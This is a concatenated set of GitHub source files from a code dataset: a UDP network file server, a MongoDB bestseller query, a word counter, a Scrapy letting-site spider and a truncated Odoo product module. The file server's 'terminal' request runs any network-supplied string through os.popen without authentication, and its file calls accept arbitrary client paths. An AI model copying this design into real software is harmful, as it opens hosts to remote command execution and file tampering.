f\"geogebra {file}\"\n print(f\"Launch graphic backend, command: {command}\")\n if os.system(command) != 0:\n self.error()\n","repo_name":"Raphalex46/GeoViz","sub_path":"src/step/solverviz.py","file_name":"solverviz.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29884198517","text":"#!/usr/bin/python3\n\nimport random\nimport socket\nimport queue\nimport sys\nimport threading\nimport os\nfrom pathlib import Path\nimport random\nimport math\n\nimport readconfig\n\nCREATE, FIND = (0, 1)\nclass FileHandling():\n\t# Flag means create it if not exists\n\tdef openFile(path, flag=CREATE):\n\t\tflag=int(flag)\n\t\tdone=\"1\"\n\t\tfile = None\n\t\tprint(path)\n\t\t# os.system(\"cat \"+ path)\n\t\tprint()\n\t\ttry:\n\t\t\tfd = os.open(path,os.O_RDWR | os.O_CREAT)\n\t\t\tdone = \"1\" + str(fd)\n\t\texcept (IOError,OSError) as e:\n\t\t\tdone=\"0\"+str(e)\n\t\tfinally:\n\t\t\ttry:\n\t\t\t\tos.close(fd)\n\t\t\texcept:\n\t\t\t\ti=0\n\n\t\treturn done\n\n\n\tdef readFile(path,num,pos=0):\n\t\tnum = int(num)\n\t\tpos = int(pos)\n\t\t# fd=None\n\t\ttry:\n\t\t\tbyte= \"1\"\n\t\t\tfd = os.open(path,os.O_RDWR)\n\t\t\tposition = os.lseek(fd, pos, os.SEEK_SET)\n\t\t\tif position != pos:\n\t\t\t\tprint(\"to perasa\")\n\t\t\t\tos.close(fd)\n\t\t\t\tbyte=\"1\"\n\t\t\t\treturn byte\n\t\t\tread = os.read(fd, num).decode()\n\t\t\tprint(\"READ \" +str(read))\n\t\t\tbyte = byte + read\n\t\texcept(OSError, IOError) as e:\n\t\t\t# print(\"HERE\")\n\t\t\tprint(e)\n\t\t\tbyte = \"0\" + str(e)\n\t\tfinally:\n\t\t\tos.close(fd)\n\t\treturn byte\n\n\t\t\n\n\tdef writeFile(path,array,pos=0):\n\t\tpos=int(pos)\n\t\tf=None\n\t\ttry:\n\t\t\tbyte= \"1\"\n\t\t\tfd=os.open(path,os.O_RDWR)\n\t\t\tposition = os.lseek(fd, pos, os.SEEK_SET)\n\t\t\tif position != pos:\n\t\t\t\tos.close(fd)\n\t\t\t\tbyte=\"0\"\n\t\t\t\treturn byte\n\t\t\t# array=array.decode()\n\t\t\twrite = os.write(fd, array.encode())\n\t\t\tbyte=byte+str(write)\n\t\texcept(OSError, IOError) as e:\n\t\t\tprint(e)\n\t\t\tbyte = \"0\" + str(e)\n\t\tfinally:\n\t\t\tos.close(fd)\n\t\treturn byte\n\nFSCALL, ID, FILE, OPTS, POS, FIVE = (0, 1, 2, 3, 4, 5)\nclass FileSystemServer():\n\n\tdef __init__(self,port=8888,path=\"~/\",blockSize=1024):\n\t\tself.port = port\n\t\tself.maxOpened = 1000\n\t\tself.receive=1024\n\t\tself.path = path\n\t\tself.q = queue.Queue()\n\t\tself.block_size = blockSize\n\t\tself.server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\t\tself.server_socket.bind(('', port))\n\t\tself.files = {}\n\t\tself.pastRequests = {}\n\t\tself.fds = {}\n\t\tos.chdir(os.path.dirname(path))\n\t\tself.t1=[]\n\t\tself.t2=[]\n\tdef startWorkers(self,num):\n\t\tfor i in range(0,num):\n\t\t\tt1 = threading.Thread(target= self.listener)\n\t\t\tt1.start()\n\t\t\tself.t1.append(t1)\n\t\t\tt2 = threading.Thread(target= self.sender)\n\t\t\tt2.start()\n\t\t\tself.t2.append(t2)\n\n\tdef isInDict(self,lista,value):\n\t\tfor k, v in lista.items():\n\t\t\tif value in v:\n\t\t\t\treturn k\n\t\treturn None\n\n\n\tdef listener(self):\n\t\tprint(\"Waiting for data\")\n\t\tdata = None\n\t\tnotifications=[]\n\t\twhile True:\n\t\t\t# while(data= self.server_socket.recvfrom(self.bufferSize) !=)\n\t\t\tmessage, address = self.server_socket.recvfrom(self.receive)\n\t\t\tmessage= message.decode()\n\t\t\tprint(message +\" from\")\n\t\t\tprint(address)\n\t\t\t# iterate the requests\n\t\t\tfields = message.split(\":\", 5)\n\t\t\t# for i in range(0,len(fields)):\n\t\t\t# \tprint(fields[i]+\" \" +str(i))\n\t\t\tif fields[FSCALL] == \"open\":\n\t\t\t\tfd = random.randint(0, self.maxOpened)\n\t\t\t\tflag = False\n\t\t\t\tfor k, v in self.files.items():\n\t\t\t\t\tif fields[FILE] in v:\n\t\t\t\t\t\tfd = k\n\t\t\t\t\t\tflag=True\n\t\t\t\t\t\tbreak\n\t\t\t\twhile (flag==False and fd in self.files.keys()): #generate random id for opened file\n\t\t\t\t\tfd = random.randint(0,self.maxOpened)\n\t\t\t\tprint(fd)\n\t\t\t\tfd = str(fd)\n\t\t\t\tif flag==True:\n\t\t\t\t\tmessage = \":\".join([fields[ID], \"1\", fd])\n\t\t\t\telse:\n\t\t\t\t\tres = FileHandling.openFile(fields[FILE])\n\t\t\t\t\t# print(res)\n\n\t\t\t\t\tif res[0] == \"1\":\n\t\t\t\t\t\tif fd not in self.fds.keys():\n\t\t\t\t\t\t\tself.fds.update({fd:address})\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.fds[fd] = self.fds[fd] + address\n\t\t\t\t\t\tname = fields[FILE].split(\"/\")\n\t\t\t\t\t\tprint(name)\n\t\t\t\t\t\tself.files[fd]=str(os.path.abspath(path))+\"/\"+name[len(name)-1] #timestamp 0(means version of while)\n\t\t\t\t\t\tprint(self.files[fd])\n\t\t\t\t\t\tmessage = \":\".join([fields[ID], res[1:], fd])\n\t\t\t\t\t\t# message = fields[FSCALL]+\":\"+fields[FILE]+\":\"+res[:1]+\":\"+fd\n\t\t\t\t\telse:\n\t\t\t\t\t\tmessage = \":\".join([fields[ID], res[:1], res[1:]])\n\t\t\t\t\t\t# message = fields[FSCALL]+\":\"+fields[FILE]+\":\"+res[:1]+\":\"+res[1:]\n\t\t\t\t\n\t\t\telif fields[FSCALL] ==\"write\":\n\t\t\t\t# if len(fields) == 3:\n\t\t\t\t# \tpos=0\n\t\t\t\t# else:\n\t\t\t\tpos=fields[POS]\n\t\t\t\tif fields[FILE] not in self.files.keys():\n\t\t\t\t\tmessage = \":\".join([fields[ID], \"0\", \"incorrect file descriptor\"])\n\t\t\t\t\t# message = fields[FSCALL]+\":\"+fields[FILE]+\":\"+\"0\"+\":\"+\"incorrect file descriptor\"\n\t\t\t\telse:\n\n\t\t\t\t\tres = FileHandling.writeFile(self.files[fields[FILE]],fields[OPTS], pos)\n\t\t\t\t\tmessage = \":\".join([fields[ID], res[:1]])\n\t\t\t\t\t# message = fields[FSCALL]+\":\"+fields[FILE]+\":\"+res[:1]+\":\"+res[1:]\n\t\t\t\t\tif res[0] ==\"1\":\n\t\t\t\t\t\tprint(\"Successful write\")\n\t\t\t\t\t\tres = res[1:]\n\t\t\t\t\t\twrote = len(res)\n\t\t\t\t\t\tentries = math.ceil(wrote/self.block_size)\n\t\t\t\t\t\tblockNum = int(int(pos)/self.block_size)\n\t\t\t\t\t\tentries = [ i for i in range(blockNum,blockNum + entries)]\n\t\t\t\t\t\tif fd not in self.pastRequests.keys():\n\t\t\t\t\t\t\ttm = []\n\t\t\t\t\t\t\tfor it in entries:\n\t\t\t\t\t\t\t\ttm.append(1)\n\t\t\t\t\t\t\tself.pastRequests[fd] = (entries,tm)\n\t\t\t\t\t\t\tmessage = \":\".join([message,str(-1)])\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tmessage=message+\":\"\n\t\t\t\t\t\t\tfor it in entries:\n\t\t\t\t\t\t\t\tgold = self.existsRequest(fd, it)\n\t\t\t\t\t\t\t\tif gold==None:\n\t\t\t\t\t\t\t\t\tself.pastRequests[fd] = (self.pastRequests[fd][0]+[it],self.pastRequests[fd][1]+[1])\n\t\t\t\t\t\t\t\t\ttimestamp = \",\".join([str(it), str(1)])\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tself.pastRequests[fd][0][gold] = self.pastRequests[fd][0][gold] + 1\n\t\t\t\t\t\t\t\t\ttimestamp = \",\".join([str(it), str(self.pastRequests[fd][0][gold])])\n\t\t\t\t\t\t\t\t# except:\n\t\t\t\t\t\t\t\t# \t# temp = ([address],0)\n\t\t\t\t\t\t\t\t# \tself.pastRequests[fd] = (self.pastRequests[fd][0]+[it],self.pastRequests[fd][1]+[1])\n\t\t\t\t\t\t\t\t# \ttimestamp = \",\".join([str(it), str(1)])\n\t\t\t\t\t\t\t\t# finally:\n\t\t\t\t\t\t\t\tmessage = message+timestamp+\";\"\n\t\t\t\t\t\t\tmessage=message[:-1]\n\t\t\t\t\t\tmessage=\":\".join([message,res])\n\t\t\t\t\telse:\n\t\t\t\t\t\tmessage = \":\".join([message,res])\n\t\t\t\t\t\tprint(\"Unsuccessful write\")\n\t\t\telif fields[FSCALL] ==\"read\":\n\t\t\t\t# if len(fields) == 3:\n\t\t\t\t# \tpos=0\n\t\t\t\t# else:\n\t\t\t\tfd = fields[FILE]\n\t\t\t\treqId = fields[ID]\n\t\t\t\ttimestampV = fields[OPTS]\n\t\t\t\tlength = fields[POS]\n\t\t\t\tpos = fields[FIVE]\n\n\t\t\t\tif fd not in self.files.keys():\n\t\t\t\t\tmessage = \":\".join([reqId, \"0\", \"incorrect file descriptor\"])\n\t\t\t\telse:\n\t\t\t\t\t# print(self.files[fd])\n\t\t\t\t\t# print(length)\n\t\t\t\t\t# print(pos)\n\t\t\t\t\t\n\t\t\t\t\tentries = math.ceil(int(length)/self.block_size) # how many entries want to read\n\t\t\t\t\tblockNum = int(pos)/self.block_size # starting block?\n\n\t\t\t\t\ttimestampV = timestampV.split(\";\")\n\t\t\t\t\tprint(timestampV)\n\t\t\t\t\tif len(timestampV) == 1 and timestampV[0] == \"-1\":\n\t\t\t\t\t\t#you know nothing John\n\t\t\t\t\t\tres = FileHandling.readFile(self.files[fd], length, pos)\n\t\t\t\t\t\t# print(len(res)-1)\n\t\t\t\t\t\t# print(\"@@@\")\n\t\t\t\t\t\tif len(res)==1 and res==\"1\":\n\t\t\t\t\t\t\tmessage = \":\".join([reqId, \"2\"])\n\t\t\t\t\t\telif res[0] == \"1\":\n\t\t\t\t\t\t\tmessage = \":\".join([reqId, res[:1],\"\"])\n\n\t\t\t\t\t\t\tfor i in range(0,entries):\n\t\t\t\t\t\t\t\tblockNUMBER = int((i * self.block_size) +blockNum)\n\t\t\t\t\t\t\t\t# print(blockNUMBER)\n\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\tindex = self.pastRequests[fd][0].index(blockNUMBER)\n\t\t\t\t\t\t\t\t\ttimestamp=\",\".join([str(blockNUMBER),str(self.pastRequests[fd][0][index])])\n\t\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\t\t\tself.pastRequests[fd]=(self.pastRequests[fd][0] + [blockNUMBER] ,self.pastRequests[fd][1]+[0])\n\t\t\t\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\t\t\t\tself.pastRequests[fd] = ([blockNUMBER],[0])\n\t\t\t\t\t\t\t\t\ttimestamp=\",\".join([str(blockNUMBER),str(0)])\n\t\t\t\t\t\t\t\tfinally:\n\t\t\t\t\t\t\t\t\t# print(timestamp)\n\t\t\t\t\t\t\t\t\tmessage = message +timestamp+\";\"\n\t\t\t\t\t\t\tmessage=message[:-1]\n\t\t\t\t\t\t\tmessage = \":\".join([message, res[1:]])\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"error\")\n\t\t\t\t\t\t\tmessage = \":\".join([message, res[1:]])\n\t\t\t\t\telse:\n\t\t\t\t\t\tdata=\"\"\n\t\t\t\t\t\ti = blockNum\n\t\t\t\t\t\tnewtimestampV = \"\"\n\t\t\t\t\t\tflag=False\n\t\t\t\t\t\tfor it in timestampV:\n\t\t\t\t\t\t\ttm = it\n\t\t\t\t\t\t\tblock= int(i)\n\t\t\t\t\t\t\t# print(block)\n\t\t\t\t\t\t\tprint(self.pastRequests[fd])\n\t\t\t\t\t\t\tindex = self.existsRequest(fd, block)\n\t\t\t\t\t\t\tif index==None:\n\t\t\t\t\t\t\t\tprint(\"dont have previously\")\n\t\t\t\t\t\t\t\tself.pastRequests[fd]=(self.pastRequests[fd][0]+[block], self.pastRequests[fd][1]+[0])\n\t\t\t\t\t\t\t\t# index = self.pastRequests[fd][0].index(block)\n\t\t\t\t\t\t\t\tindex=len(self.pastRequests[fd][0])-1\n\t\t\t\t\t\t\tif int(tm) < self.pastRequests[fd][1][index]:\n\t\t\t\t\t\t\t\t# print(self.files[fd])\n\t\t\t\t\t\t\t\t# print(self.block_size)\n\t\t\t\t\t\t\t\t# print(str(i) +\" * \"+ str(self.block_size) +\" \"+str(int(i*self.block_size)))\n\t\t\t\t\t\t\t\tres = FileHandling.readFile(self.files[fd], self.block_size, int(i*self.block_size))\n\t\t\t\t\t\t\t\t# print(res)\n\t\t\t\t\t\t\t\tif res[0] == \"1\":\n\t\t\t\t\t\t\t\t\tprint(\"Successful read\")\n\t\t\t\t\t\t\t\t\tblockindex = i/self.block_size\n\t\t\t\t\t\t\t\t\tblockindex=int(blockindex)\n\t\t\t\t\t\t\t\t\tnewE=\",\".join([str(blockindex), str(self.pastRequests[fd][1][index])])\n\t\t\t\t\t\t\t\t\tnewtimestampV=newtimestampV +newE+\";\"\n\t\t\t\t\t\t\t\t\tdata = data+res[1:]\n\t\t\t\t\t\t\t\t\tflag=True\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tprint(res[1:])\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tflag=True\n\t\t\t\t\t\t\t\tprint(\"YOU RIGHT TIMESTAMP FOR THIS BLOCK MATE\")\n\t\t\t\t\t\t\t\t#client has valid data about this block\n\t\t\t\t\t\t\ti = i + 1\n\n\t\t\t\t\t\tif flag==True:\n\t\t\t\t\t\t\tnewtimestampV=newtimestampV[:-1]\n\t\t\t\t\t\t\tmessage=\":\".join([reqId,\"1\", newtimestampV,data])\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tmessage=\":\".join([reqId,\"0\", \"Error: brains not found\"])\n\n\t\t\t\t#send answer back\n\t\t\telif fields[FSCALL] == \"close\":\n\t\t\t\ttry:\n\t\t\t\t\tdel self.fds[fields[FILE]]\n\t\t\t\t\tmessage = \":\".join([fields[ID], \"1\", \"success\"])\n\t\t\t\texcept KeyError as e:\n\t\t\t\t\tmessage = \":\".join([fields[ID], \"0\", \"incorrect file descriptor\"])\n\t\t\t\t\t\n\t\t\telif fields[FSCALL] ==\"terminal\":\n\t\t\t\t#\"cd \"+ self.path +\" && \"+\n\t\t\t\tif \"cd\" == fields[1][:2]:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tmessage = \":\".join([fields[FSCALL], \"success\"])\n\t\t\t\t\t\n\t\t\t\t\t\tif fields[1][:len(fields[1])] != \"/\":\n\t\t\t\t\t\t\tfields[1] = fields[1] + \"/\"\n\t\t\t\t\t\tprint(fields[1][2:])\n\t\t\t\t\t\tos.chdir(os.path.dirname(fields[1][3:]))\n\t\t\t\t\texcept (OSError, IOError,Exception) as e:\n\t\t\t\t\t\tmessage=\":\".join([fields[FSCALL], str(e)])\n\t\t\t\telse:\n\t\t\t\t\tmessage = \":\".join([fields[FSCALL], os.popen(fields[1]).read()])\n\t\t\t\t#os.chdir(os.path.dirname(os.getcwd()))\n\t\t\telse:\n\t\t\t\tmessage=\"unknown command\"\n\t\t\t\tprint(message)\n\t\t\tprint(\"answer to request\")\n\t\t\tprint(message)\n\t\t\tself.q.put((message, address))\n\tdef existsRequest(self, fd,block):\n\t\tfor itera in self.pastRequests[fd][0]:\n\t\t\tif itera==block:\n\t\t\t\treturn itera\n\t\treturn None\n\tdef sender(self):\n\n\t\tprint(\"Give me some data to send\")\n\n\t\twhile True:\n\t\t\tmessage, address = self.q.get()\n\t\t\tprint(\"sending \"+ message)\n\t\t\tif message == \"exit\" :\n\t\t\t\tbreak\n\t\t\tself.server_socket.sendto(message.encode(), address)\n\tdef join(self):\n\t\tfor i in range(0,len(self.t1)):\n\t\t\tself.t1[i].join()\n\t\t\tself.t2[i].join()\n\t\t\nif __name__ == \"__main__\":\n\n\tconf = readconfig.ReadConfig()\n\tconf.readConfiguration(\"config.ini\")\n\tport = int(conf.getValue(\"port\"))\n\tpath = conf.getValue(\"path\")\n\tblockSize = int(conf.getValue(\"block_size\"))\n\tworkers = int(conf.getValue(\"workers\"))\n\tprint(path)\n\tprint(\"Server running at port %d\" % port)\n\n\ts = FileSystemServer(port,path,blockSize)\n\ts.startWorkers(workers)\n\ts.join()\n\t# t1.join()\n\t# t2.join()\n\n","repo_name":"markoskal2/simple-network-file-system","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":10755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21666334597","text":"import pymongo\nimport pandas as pd\nfrom pymongo import MongoClient\nfrom itertools import chain\n\nclass DataManipulation:\n\n def db_connection(self):\n cluster = MongoClient(\"mongodb://localhost:27017/\")\n db = cluster[\"Behamics_DB\"]\n\n return db\n\n def most_sold_products(self):\n '''\n Extract 20% of the most sold products (productID) per category.\n And save the data for each extracted product in the collection \n bestseller with fields: productID, category, totalSold.\n '''\n conn = self.db_connection()\n checkout = conn.checkout.find()\n data_frame = pd.DataFrame(list(checkout))\n\n carts = pd.DataFrame(list(chain.from_iterable(list(data_frame[\"cart\"]))))\n\n x = carts.groupby(['category','productID'])['productID'].agg(['count']).reset_index()\n x.groupby([\"category\"])['category'].agg(['count'])\n data = (x.groupby('category',group_keys=False)\n .apply(lambda x: x.nlargest(int(len(x) * 0.2), 'count')))\n data.columns = ['category','productID','totalSold']\n \n conn.bestseller.insert_many(data.to_dict('records'))","repo_name":"Arber555/behamics_tasks","sub_path":"data_tools/DataManipulation.py","file_name":"DataManipulation.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"730669848","text":"from pathlib import Path\nimport re\n\nsrcfile = Path('../sample.txt')\nwith open(srcfile, encoding='utf-8') as f:\n lines = f.readlines()\n\nd = {}\nfor line in lines:\n # for w in line.split():\n line = [i for i in re.split('\\W', line) if i]\n for w in line:\n if w.lower() not in d:\n d[w.lower()] = 0\n d[w.lower()] += 1\n\nresult = sorted(d.items(), key=lambda x: x[1], reverse=True)\nfor k, v in result[0:10]:\n print('word: {:<10} count_num: {}'.format(k, v))\n\n\n","repo_name":"ilolicon/ilolicon","sub_path":"docs/PY文档/scripts/others/count_words.py","file_name":"count_words.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5019498159","text":"import scrapy\r\nimport js2xml\r\nfrom ..loaders import ListingLoader\r\nfrom ..items import ListingItem\r\nfrom python_spiders.helper import remove_unicode_char, extract_rent_currency, format_date\r\nimport re\r\nfrom bs4 import BeautifulSoup\r\nfrom datetime import datetime\r\nimport math\r\nimport json\r\n\r\n\r\ndef strToDate(text):\r\n if \"/\" in text:\r\n date = datetime.strptime(text, '%d/%m/%Y').strftime('%Y-%m-%d')\r\n elif \"-\" in text:\r\n date = datetime.strptime(text, '%Y-%m-%d').strftime('%Y-%m-%d')\r\n else:\r\n date = text\r\n return date\r\n\r\ndef num_there(s):\r\n return any(i.isdigit() for i in s)\r\n\r\ndef extract_city_zipcode(_address):\r\n zip_city = _address.split(\", \")[1]\r\n zipcode, city = zip_city.split(\" \")\r\n return zipcode, city\r\n\r\n\r\ndef getSqureMtr(text):\r\n list_text = re.findall(r'\\d+',text)\r\n\r\n # if len(list_text) == 2:\r\n # output = int(list_text[0])\r\n if len(list_text) > 0:\r\n output = int(list_text[0])\r\n else:\r\n output=0\r\n\r\n return output\r\n\r\ndef getPrice(text):\r\n list_text = re.findall(r'\\d+',text)\r\n if \".\" in text:\r\n if len(list_text) == 3:\r\n output = int(float(list_text[0]+list_text[1]))\r\n elif len(list_text) == 2:\r\n output = int(float(list_text[0]))\r\n elif len(list_text) == 1:\r\n output = int(list_text[0])\r\n else:\r\n output=0\r\n else:\r\n if len(list_text) == 2:\r\n output = int(float(list_text[0]+list_text[1]))\r\n elif len(list_text) == 1:\r\n output = int(list_text[0])\r\n else:\r\n output=0\r\n return output\r\n\r\ndef getRent(text):\r\n list_text = re.findall(r'\\d+',text)\r\n\r\n if len(list_text) == 2:\r\n output = int(list_text[0]+list_text[1])\r\n elif len(list_text) == 1:\r\n output = int(list_text[0])\r\n else:\r\n output=0\r\n\r\n return output\r\n\r\n\r\ndef cleanText(text):\r\n text = ''.join(text.split())\r\n text = re.sub(r'[^a-zA-Z0-9]', ' ', text).strip()\r\n return text.replace(\" \",\"_\").lower()\r\n\r\n\r\ndef num_there(s):\r\n return any(i.isdigit() for i in s)\r\n\r\n\r\ndef cleanKey(data):\r\n if isinstance(data,dict):\r\n dic = {}\r\n for k,v in data.items():\r\n dic[cleanText(k)]=cleanKey(v)\r\n return dic\r\n else:\r\n return data\r\n\r\n\r\ndef clean_value(text):\r\n if text is None:\r\n text = \"\"\r\n if isinstance(text,(int,float)):\r\n text = str(text.encode('utf-8').decode('ascii', 'ignore'))\r\n text = str(text.encode('utf-8').decode('ascii', 'ignore'))\r\n text = text.replace('\\t','').replace('\\r','').replace('\\n','')\r\n return text.strip()\r\n\r\ndef clean_key(text):\r\n if isinstance(text,str):\r\n text = ''.join([i if ord(i) < 128 else ' ' for i in text])\r\n text = text.lower()\r\n text = ''.join([c if 97 <= ord(c) <= 122 or 48 <= ord(c) <= 57 else '_' for c in text ])\r\n text = re.sub(r'_{1,}', '_', text)\r\n text = text.strip(\"_\")\r\n text = text.strip()\r\n\r\n if not text:\r\n raise Exception(\"make_key :: Blank Key after Cleaning\")\r\n\r\n return text.lower()\r\n else:\r\n raise Exception(\"make_key :: Found invalid type, required str or unicode \")\r\n\r\ndef traverse( data):\r\n if isinstance(data, dict):\r\n n = {}\r\n for k, v in data.items():\r\n k = str(k)\r\n if k.startswith(\"dflag\") or k.startswith(\"kflag\"):\r\n if k.startswith(\"dflag_dev\") == False:\r\n n[k] = v\r\n continue\r\n\r\n n[clean_key(clean_value(k))] = traverse(v)\r\n\r\n return n\r\n\r\n elif isinstance(data, list) or isinstance(data, tuple) or isinstance(data, set): \r\n data = list(data)\r\n for i, v in enumerate(data):\r\n data[i] = traverse(v)\r\n\r\n return data\r\n elif data is None:\r\n return \"\"\r\n else:\r\n data = clean_value(data)\r\n return data\r\n\r\nclass auditaSpider(scrapy.Spider):\r\n name = 'Paulcarrestateagents_Co_PySpider_united_kingdom'\r\n allowed_domains = ['www.paulcarrlettings.co.uk']\r\n start_urls = ['www.paulcarrlettings.co.uk']\r\n execution_type = 'testing'\r\n country = 'united_kingdom'\r\n locale ='en'\r\n\r\n def start_requests(self):\r\n start_url = \"http://www.paulcarrlettings.co.uk/propertylist.php?txtbudgetlow=0&txtbudgethigh=99999999&txtnobed=9\"\r\n yield scrapy.Request(url = start_url, callback = self.parse1)\r\n\r\n def parse1(self, response, **kwargs):\r\n soup = BeautifulSoup(response.body)\r\n total_prop = int(soup.find(\"h4\").text.split(\"Total -\")[-1].strip())\r\n page_count = math.ceil(total_prop/24)\r\n if page_count > 1:\r\n for ech_pg in range(1,page_count):\r\n url = f\"http://www.paulcarrlettings.co.uk/propertylist.php?pageid={ech_pg+1}&txtbudgethigh=99999999&txtbudgetlow=0&txtnobed=9&pageorder=Price%20High-%3ELow\"\r\n yield scrapy.Request(url = url, callback = self.parse2)\r\n\r\n for ech_prop in soup.find_all(\"div\", class_=\"custom-searchresbox custom-blue-border\"):\r\n if ech_prop.find(\"div\", style=\"background-color:#FF0000;font-weight:bold;padding:5px;width:296px;color:#FFFFFF;margin-bottom:0px;position:absolute;margin-top:-30px;\"):\r\n pass\r\n else:\r\n title = ech_prop.find(\"div\", class_='custom-blueboxtitle custom-blueboxtitle-blue').find(\"div\").text.strip()\r\n external_link = \"http://www.paulcarrlettings.co.uk/\" + ech_prop.find(\"div\", class_='custom-center-cropped').find(\"a\")[\"href\"]\r\n yield scrapy.Request(url = external_link, callback = self.get_property_details, meta = {\"title\" : title})\r\n\r\n def parse2(self, response, **kwargs):\r\n soup = BeautifulSoup(response.body)\r\n for ech_prop in soup.find_all(\"div\", class_=\"custom-searchresbox custom-blue-border\"):\r\n if ech_prop.find(\"div\", style=\"background-color:#FF0000;font-weight:bold;padding:5px;width:296px;color:#FFFFFF;margin-bottom:0px;position:absolute;margin-top:-30px;\"):\r\n pass\r\n else:\r\n title = ech_prop.find(\"div\", class_='custom-blueboxtitle custom-blueboxtitle-blue').find(\"div\").text.strip()\r\n external_link = \"http://www.paulcarrlettings.co.uk/\" + ech_prop.find(\"div\", class_='custom-center-cropped').find(\"a\")[\"href\"]\r\n yield scrapy.Request(url = external_link, callback = self.get_property_details, meta = {\"title\" : title})\r\n\r\n def get_property_details(self,response,**kwargs):\r\n item = ListingItem()\r\n soup = BeautifulSoup(response.body) \r\n print(response.url)\r\n\r\n item[\"external_link\"] = response.url\r\n\r\n item[\"title\"] = response.meta.get(\"title\")\r\n\r\n external_id = soup.find(\"div\", class_=\"custom-bluetopcurved custom-bluetopcurved-blue custom-price col-xs-12\").find(\"div\").find(\"span\", recursive = False).text.strip()\r\n item[\"external_id\"] = external_id\r\n\r\n item[\"rent\"] = getPrice(soup.find(\"div\", class_=\"custom-bluetopcurved custom-bluetopcurved-blue custom-price col-xs-12\").find(\"div\").text.replace(external_id,\"\"))\r\n \r\n rc_pt_add = soup.find(\"div\", class_=\"custom-blueboxtitlenoncurved custom-blueboxtitlenoncurved-blue col-xs-12\" ).text\r\n\r\n if \"flat\" in rc_pt_add.lower():\r\n property_type = \"apartment\"\r\n elif \"house\" in rc_pt_add.lower():\r\n property_type = \"house\"\r\n item[\"property_type\"] = property_type\r\n\r\n temp_rc = getSqureMtr(rc_pt_add.split(\"(\")[0])\r\n if temp_rc > 0:\r\n item[\"room_count\"] = temp_rc\r\n\r\n item[\"address\"] = rc_pt_add.split(\"(\")[-1].replace(\")\",\"\").strip()\r\n\r\n desc = soup.find(\"div\", class_=\"col-sm-5\").find(\"p\").text.strip()\r\n item[\"description\"] = desc\r\n\r\n if \"GARAGE EXCLUDED\".lower() in desc.lower():\r\n pass\r\n elif \"garage\" in desc.lower() or \"parking\" in desc.lower() or \"autostaanplaat\" in desc.lower():\r\n item[\"parking\"] = True\r\n if \"terrace house\" in desc.lower() or (\"end\" in desc.lower() and \"terrace\" in desc.lower()) or \"terraced house\" in desc.lower():\r\n pass\r\n elif \"terras\" in desc.lower() or \"terrace\" in desc.lower():\r\n item[\"terrace\"] = True\r\n if \"balcon\" in desc.lower() or \"balcony\" in desc.lower():\r\n item[\"balcony\"] = True\r\n if \"zwembad\" in desc.lower() or \"swimming\" in desc.lower():\r\n item[\"swimming_pool\"] = True\r\n if \"part furnished\" in desc.lower() and \"unfurnished\" in desc.lower():\r\n item[\"furnished\"] = True\r\n elif \"unfurnished\" in desc.lower():\r\n item[\"furnished\"] = False\r\n elif \"furnished\" in desc.lower() or \"furnishing\" in desc.lower(): \r\n item[\"furnished\"] = True\r\n if \"machine à laver\" in desc.lower() or\"washing\" in desc.lower():\r\n item[\"washing_machine\"] = True\r\n if (\"lave\" in desc.lower() and \"vaisselle\" in desc.lower()) or \"dishwasher\" in desc.lower():\r\n item[\"dishwasher\"] = True\r\n if \"lift\" in desc.lower() or \"elevator\" in desc.lower():\r\n item[\"elevator\"] = True\r\n\r\n images = []\r\n for ech_img in soup.find(\"ul\", id=\"photolist_thumbs\").find_all(\"li\"):\r\n images.append(ech_img.find(\"img\")[\"src\"])\r\n if images:\r\n item[\"images\"] = images\r\n item[\"external_images_count\"] = len(images)\r\n\r\n item[\"landlord_name\"] = \"Paul Carr Estate Agents\"\r\n item[\"landlord_phone\"] = \"0121 726 9417\"\r\n item[\"landlord_email\"] = \"info@paulcarrlettings.co.uk\"\r\n item[\"external_source\"] = auditaSpider.name\r\n item[\"currency\"] = \"GBP\"\r\n\r\n print(item)\r\n yield item\r\n","repo_name":"sounak-ghosh/test2","sub_path":"Scrapy/pyspiders/python_spiders/spiders/Our_spyders/paulcarrestateagents.py","file_name":"paulcarrestateagents.py","file_ext":"py","file_size_in_byte":10014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73150491684","text":"from odoo import _, api, fields, models, tools\nfrom odoo.exceptions import ValidationError\nfrom odoo.tools.float_utils import float_compare\n\nMARGIN_STATE_SELECTION = [\n (\"correct\", \"Correct Margin\"),\n (\"too_cheap\", \"Too Cheap\"),\n (\"too_expensive\", \"Too Expensive\"),\n]\n\n\nclass Productproduct(models.Model):\n _inherit = \"product.product\"\n\n # Columns Section\n margin_classification_id = fields.Many2one(\n comodel_name=\"product.margin.classification\",\n string=\"Margin Classification\",\n )\n\n theoretical_price = fields.Float(\n digits=\"Product Price\",\n compute=\"_compute_theoretical_multi\",\n store=True,\n )\n\n theoretical_difference = fields.Float(\n digits=\"Product Price\",\n compute=\"_compute_theoretical_multi\",\n store=True,\n )\n\n margin_state = fields.Selection(\n string=\"Theoretical Price State\",\n selection=MARGIN_STATE_SELECTION,\n compute=\"_compute_theoretical_multi\",\n store=True,\n )\n\n # Compute Section\n @api.depends_context(\"company\")\n @api.depends(\n \"standard_price\",\n \"lst_price\",\n \"margin_classification_id\",\n \"margin_classification_id.markup\",\n 